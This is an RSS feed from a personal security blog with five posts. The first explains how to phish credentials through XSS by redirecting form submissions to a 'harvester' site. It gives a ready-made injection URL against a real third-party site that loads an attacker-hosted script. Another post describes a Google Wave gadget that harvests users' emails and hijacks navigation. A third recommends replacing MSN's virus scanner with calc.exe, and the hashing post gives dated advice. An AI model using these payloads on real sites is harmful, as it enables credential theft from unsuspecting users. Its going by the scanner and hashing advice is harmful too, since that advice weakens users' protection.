<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Thomas Stig Jacobsen's constant why &#187; Internet security</title>
	<atom:link href="http://www.e-x-e.dk/category/internet-security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.e-x-e.dk</link>
	<description>Programming, Internet security and ballroom dance</description>
	<lastBuildDate>Sat, 03 Jul 2010 18:30:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=abc</generator>
		<item>
		<title>How to phish the effective and smart way using XSS</title>
		<link>http://www.e-x-e.dk/2010/07/03/how-to-phish-the-effective-and-smart-way-using-xss-3/</link>
		<comments>http://www.e-x-e.dk/2010/07/03/how-to-phish-the-effective-and-smart-way-using-xss-3/#comments</comments>
		<pubDate>Sat, 03 Jul 2010 18:30:13 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Internet security]]></category>
		<category><![CDATA[Labs]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2010/07/03/how-to-phish-the-effective-and-smart-way-using-xss-3/</guid>
		<description><![CDATA[Normally if you wish to phish a user for information like passwords, emails, social security numbers, credit card numbers or what not and you’re exploiting some website with a bug in its handling of user content (either from a database or from the GET data) (Please note that POST XSS exploits isn’t really easy to [...]]]></description>
			<content:encoded><![CDATA[<p>Normally if you wish to phish a user for information like passwords, emails, social security numbers, credit card numbers or what not and you’re exploiting some website with a bug in its handling of user content (either from a database or from the GET data) <em>(Please note that POST XSS exploits isn’t really easy to exploit since you’ll have to make the user POST the data him/herself)</em> you normally would like to send the user to your own phishing page where you have copied the compromised sites design, CSS etc.&#160; </p>
<p>Please note that when phishing by exploiting an unprotected frame which gets its content URL from a GET querystring (RFI) you’ll have to either copy the CSS etc to your own site or simply link to the sites own CSS files.</p>
<p>Moving on to the topic of this post, exploiting XSS vulnerabilities to phish the attacked users, of course without the users having a clue. </p>
<p>One of the methods which I don’t see get exploited is the JavaScript call “document.formName.action=’http://your-harvester-site.com/exploitingAction.php’”.</p>
<p>With the code above it’s possible to create a man-in-the-middle kind of attack where you can either just choose to log the information of the form or you can choose to tamper with the information before posting the data to the original action.</p>
<p>It can be done with this 3 step attack:</p>
<p><strong>1. step:</strong> Inject the forms of a XSS exploitable page, e.g. with a script like this: <a href="http://www.e-x-e.dk/labs/autoPhisher/injector.js">http://www.e-x-e.dk/labs/autoPhisher/injector.js</a>. A super simple yet effective script I’ll be using for this PoC.</p>
<p><strong>2. step:</strong> Receive the form data, log it/tamper it and send the victim back to the original site with a new exploited URL injected with a “pusher”. This script could be done like this:</p>
<p><a href="http://www.e-x-e.dk/labs/autoPhisher/source/index.php">http://www.e-x-e.dk/labs/autoPhisher/source/index.php</a></p>
<p>This script is using a subclass of the abstract class TopLoader I’m using, it just has some basic functions for getting, setting, saving, deleting etc. </p>
<p>The last part of the script is computing a new pusher-injected URL to which the victim will be sent.</p>
<p><strong>3. step:</strong> Let the pusher to its job</p>
<p>Since we cannot do a POST call for the victim to the original action serverside through PHP, we’ll have to make the browser do it for us through JavaScript. </p>
<p>The pusher script generates some JavaScript which is started when the is window.onload(). It tries to set the value of the form elements from the original form submit by the victim with getElementById. If the element is not found by this method it’ll try to set the value via the getElementsByName. Last but not least it auto submits the correct form with document.forms[{form ID}].submit(). The generator script is here:</p>
<p><a href="http://www.e-x-e.dk/labs/autoPhisher/source/pusher.php">http://www.e-x-e.dk/labs/autoPhisher/source/pusher.php</a></p>
<p>Here a place you can test this thing out:</p>
<p><a href="http://www.doid.dk/page/main.asp?error=timeout&amp;referer=%22%3E%3Cscript%20src=http://www.e-x-e.dk/labs/autoPhisher/injector.js%3E%3C/script%3E">http://www.doid.dk/page/main.asp?error=timeout&amp;referer=%22%3E%3Cscript%20src=http://www.e-x-e.dk/labs/autoPhisher/injector.js%3E%3C/script%3E</a></p>
<p>Example user / password: testerLars / testerLars</p>
<p>Let me know what you think by making some comments and maybe leaving some more usage examples.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2010/07/03/how-to-phish-the-effective-and-smart-way-using-xss-3/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Choosing hash method in PHP</title>
		<link>http://www.e-x-e.dk/2010/07/03/choosing-hash-method-in-php/</link>
		<comments>http://www.e-x-e.dk/2010/07/03/choosing-hash-method-in-php/#comments</comments>
		<pubDate>Fri, 02 Jul 2010 23:49:32 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Internet security]]></category>
		<category><![CDATA[Labs]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Testing and stuff]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2010/07/03/choosing-hash-method-in-php/</guid>
		<description><![CDATA[So the other day I wondered the consequences when choosing one hashing method over another when it comes to security. If we say that some hacker has got a hold of your (of course!) encrypted fx passwords then what will it matter that you choose a unbroken, uncommon and maybe slower encryption method? Speed I [...]]]></description>
			<content:encoded><![CDATA[<p>So the other day I wondered the consequences when choosing one hashing method over another when it comes to security. If we say that some hacker has got a hold of your (of course!) encrypted fx passwords then what will it matter that you choose a unbroken, uncommon and maybe slower encryption method?</p>
<p><b>Speed</b></p>
<p>I started with some benchmarking: <a href="http://e-x-e.dk/labs/timing/">http://e-x-e.dk/labs/timing/</a> (source: <a href="http://www.e-x-e.dk/labs/timing/source.php">http://www.e-x-e.dk/labs/timing/source.php</a>).</p>
<p>This basically creates 10000 random strings with a length of 50 and then encrypting all of these random strings with all of the hashing methods of my php installation’s disposal. This outputs a sorted list of the methods. The consequents of choosing fx a slow hashing method means that you’ll have a bit more load on your server since speed == load. But then again, choosing a slow hashing method will also mean a slower bruteforce for the hacker – buying your users (or you) more time to change their passwords and you closing the hole. But you’ll have to remember that where your bigger load/increased hashing-time caused by the slower hashing method is spread out the bruteforcers isn’t. So it’ll be a bigger hit to the bruteforcer than it will be to you.</p>
<p><b>Common vs. uncommon method</b></p>
<p>When choosing a hashing method it can also be a benefit from my point of view to choose a less common method for hashing your password/information if you have the option. And the argument is quite simple I think. With common methods like md5 which is used by the majority of sites today there are already constructed huge (HUGE) rainbow tables etc. (<a href="http://www.freerainbowtables.com/da/tables/md5/">http://www.freerainbowtables.com/da/tables/md5/</a>). Therefore by choosing a common hashing method you are also decreasing it effectiveness since a lot of the string combinations have already been computed.</p>
<p>Choosing a more uncommon hashing method will get rid of this problem, but then again, this maybe result in a slower computing of the hash as well, and for some – that’s a problem. By choosing a fx a tiger(2), SHA-1 or SHA-512 hash over fx. md5 you would decrease the effectiveness/speed of the bruteforce. </p>
<p><b>Hash method attacks</b></p>
<p>The effectiveness of a hash method is of course also influenced by if it has been fx collision attacked (<a href="http://en.wikipedia.org/wiki/Collision_attack">http://en.wikipedia.org/wiki/Collision_attack</a>) or a preimage attack (<a href="http://en.wikipedia.org/wiki/Preimage_attack">http://en.wikipedia.org/wiki/Preimage_attack</a>). Therefore you should also have this in your considerations when choosing a hashing method for your site.</p>
<p><b>Other things to consider</b></p>
<p>Things like salting your passwords etc etc is naturally also a good idea (maybe even with some HUGE salts, to ensure the length of the password extends the typical length of passwords and thereby setting the rainbow tables out of play). Some of these considerations might come in a later post.</p>
<p>I think there a lot fo pros and cons in this matter but as a general conclusion I think it’s time for the use of some more uncommon hashing methods in order to strengthen the security of information if hashed information is compromised. What do you think is the best hashing method to use and why?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2010/07/03/choosing-hash-method-in-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacking Google Wave (XSS, XSSR)</title>
		<link>http://www.e-x-e.dk/2010/01/16/a-blogpost-about-hacking-google-wave-with-xss-and-xssr/</link>
		<comments>http://www.e-x-e.dk/2010/01/16/a-blogpost-about-hacking-google-wave-with-xss-and-xssr/#comments</comments>
		<pubDate>Sat, 16 Jan 2010 11:47:32 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Internet security]]></category>
		<category><![CDATA[Labs]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Testing and stuff]]></category>
		<category><![CDATA[Google Wave]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2010/01/16/a-blogpost-about-hacking-google-wave-with-xss-and-xssr/</guid>
		<description><![CDATA[The last couple of days I’ve been fooling around with Google Wave and it’s so called “Gadgets”. In relation to this I  couldn’t help trying out some simple XSS and XSSR techniques which I’ll now show you and hopefully the Google Wave developers so they can secure the Gadgets – creating a even better product. [...]]]></description>
			<content:encoded><![CDATA[<p>The last couple of days I’ve been fooling around with Google Wave and it’s so called “Gadgets”. In relation to this I  couldn’t help trying out some simple XSS and XSSR techniques which I’ll now show you and hopefully the Google Wave developers so they can secure the Gadgets – creating a even better product. These gadget tests was made in the Google Wave preview and not in the Sandbox because I’m still waiting for being granted access to the Sandbox. When I acquire access to the Sandbox I’ll follow up on this blogpost. Lets get started with the fun shall we? <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>So  I started with stealing a basic example, cleaned it down, leaving only the raw gadget. From there I used the “gadgets.util.registerOnLoadHandler(init);” functionality to load potentially malicious code onLoad of the Gadget. This can be used to prompt the viewer of the Gadget for eg. login information. The normal trusting user wouldn’t suspect this risk since it was prompted by Google Wave, right? <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Passing on I’ve created a couple of buttons in the Gadget which called a couple of Javascript function which did a couple of different things, one simple alerted the user, just to show that you could do anything.</p>
<p>One button changed window.top.location, sending the user to a completely other site, away from the “protecting” environment of Google Wave.</p>
<p>One button got the viewers Google Wave ID (an email), his/hers display name and his/hers thumbnail url. This could maybe be used to created fake accounts on websites, compromising the viewers exclusive use of his/hers email. Of course the email could also be harvested and sold to spamming bad guys with a lot of “Great deals on Viagra”. <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>The last button I created in this little Gadget example did also change the window.top.location but this time not to an url but instead to some data:text/html – base64 encoded. This could be used to show ads or propaganda to the viewer without a possibility to block a specific url, since this was content defined in the Gadget’s code itself.</p>
<p>This is what I’ve been doing the last day or two <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  I have you read this and spread the word and of course leave a comment or a trackback. As said I’ll be back with more Google Wave security when I get access to the Sandbox <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>My Gadget can be viewed and tested at this URL:</p>
<p><a href="http://e-x-e.dk/labs/waveHack/hack1.xml">http://e-x-e.dk/labs/waveHack/hack1.xml</a></p>
<div id="scid:66721397-FF69-4ca6-AEC4-17E6B3208830:35b6e93e-7d55-49bd-a1f0-64bf5ff661ad" class="wlWriterEditableSmartContent" style="margin: 0px; display: inline; float: none; padding: 0px;">
<p>Or you can just watch the screenshots:<br />
<a style="border: 0px;" href="http://cid-32e9a60b12499ac6.skydrive.live.com/redir.aspx?page=browse&amp;resid=32E9A60B12499AC6!282&amp;ct=photos"><img style="border: 0px;" src="http://www.e-x-e.dk/wordpress/wp-content/2010/01/InlineRepresentationa8cc7e07644f4eec9357123988fa8320.jpg" alt="Vis Google Wave hack" /></a></p>
<div style="width: 400px; text-align: right;"><a href="http://cid-32e9a60b12499ac6.skydrive.live.com/redir.aspx?page=browse&amp;resid=32E9A60B12499AC6!282&amp;ct=photos">See all screenshots</a></div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2010/01/16/a-blogpost-about-hacking-google-wave-with-xss-and-xssr/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Maximum performance in Windows XP, Windows Server 2000 and Windows Server 2003 and compromising security</title>
		<link>http://www.e-x-e.dk/2009/12/23/maximum-performance-in-windows-xp-windows-server-2000-and-windows-server-2003-and-compromising-security/</link>
		<comments>http://www.e-x-e.dk/2009/12/23/maximum-performance-in-windows-xp-windows-server-2000-and-windows-server-2003-and-compromising-security/#comments</comments>
		<pubDate>Wed, 23 Dec 2009 20:46:20 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Computers]]></category>
		<category><![CDATA[Internet security]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2009/12/23/maximum-performance-in-windows-xp-windows-server-2000-and-windows-server-2003-and-compromising-security/</guid>
		<description><![CDATA[Microsoft back in the day release a small paper on how to minimize the effect from the antivirus software on the operating system’s performance. Let me point out that the paper was released in July 2007. But despite the fact of this almost (in computer and internet terms) prehistoric release date TrendLabs’s writer David Sancho [...]]]></description>
			<content:encoded><![CDATA[<p>Microsoft back in the day release a small paper on how to minimize the effect from the antivirus software on the operating system’s performance. Let me point out that the paper was released in July 2007.</p>
<p>But despite the fact of this almost (in computer and internet terms) prehistoric release date TrendLabs’s writer David Sancho still found it relevant to comment on it December 21, 2009. Hole smoke, talk about late timing.</p>
<p>The paper is written about which files you can let your antivirus software not scan in order to increase the performance of your operating system. The decrease of performance is due to file locking. Microsoft recommends that if you are having performance issues cost by the antivirus which is caused by these locked files. It’s a quick and rather dirty fix, which is also what David Sancho wants to point out.</p>
<p>David Sancho got the point when he say the following:</p>
<blockquote><p>In line with this, we advise users to educate themselves fully about these recommendations before taking any action.</p></blockquote>
<p>I states that the biggest risk to the consumers computer and internet security is the consumer themselves. As security professionals we need to secure the consumers from themselves because, sadly, they don’t have a clue of what they are doing or what they are agreeing when visiting malicious and non-malicious websites. This of course, is badly generalised but if you as a security concerned programmer wants to create the most secure environment for your user, you’ll have to secure the user from the user itself.</p>
<p>Back to the Microsoft paper. Microsoft as a huge influence on the users should consider more carefully what they are releasing to the public and most of all they should re-read their own papers at least every year in order to make sure that they are giving their users the best kind of advise and in that way contributing to a more secure environment for the normal user.</p>
<p>What do you think of all this? What should Microsoft do to create a more secure envirnorment? Or should the users be more poweruser like?</p>
<p>The Microsoft paper can be found <a href="http://support.microsoft.com/?scid=kb;en-us;822158&amp;x=10&amp;y=15" target="_blank">here</a>.</p>
<p>The blog post by David Sancho can be found <a href="http://blog.trendmicro.com/microsoft-virus-scanning-recommendations-bring-risks/" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2009/12/23/maximum-performance-in-windows-xp-windows-server-2000-and-windows-server-2003-and-compromising-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Your ultimate virus scanner for MSN live</title>
		<link>http://www.e-x-e.dk/2008/03/17/your-ultimate-virus-scanner-for-msn-live/</link>
		<comments>http://www.e-x-e.dk/2008/03/17/your-ultimate-virus-scanner-for-msn-live/#comments</comments>
		<pubDate>Mon, 17 Mar 2008 14:44:35 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Internet security]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[MSN]]></category>
		<category><![CDATA[virus scanner]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/post/11</guid>
		<description><![CDATA[Yeah since I don't want to scan everything I receive over MSN I've noticed that MSN accepts any .exe file as the virusscanner. So my ultimate virus scanner is calc.exe in the %SYSTEMROOT%\system32\ folder. When you receive a file over MSN your calc.exe will start, just close it and your good! No need for the [...]]]></description>
			<content:encoded><![CDATA[<p>Yeah since I don't want to scan everything I receive over MSN I've noticed that MSN accepts any .exe file as the virusscanner. So my ultimate virus scanner is calc.exe in the %SYSTEMROOT%\system32\ folder. When you receive a file over MSN your calc.exe will start, just close it and your good! No need for the slow OneCare scanner.. </p>
<p>This was just a quick helping post for you guys (and girls) <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  Happy Easter!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2008/03/17/your-ultimate-virus-scanner-for-msn-live/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
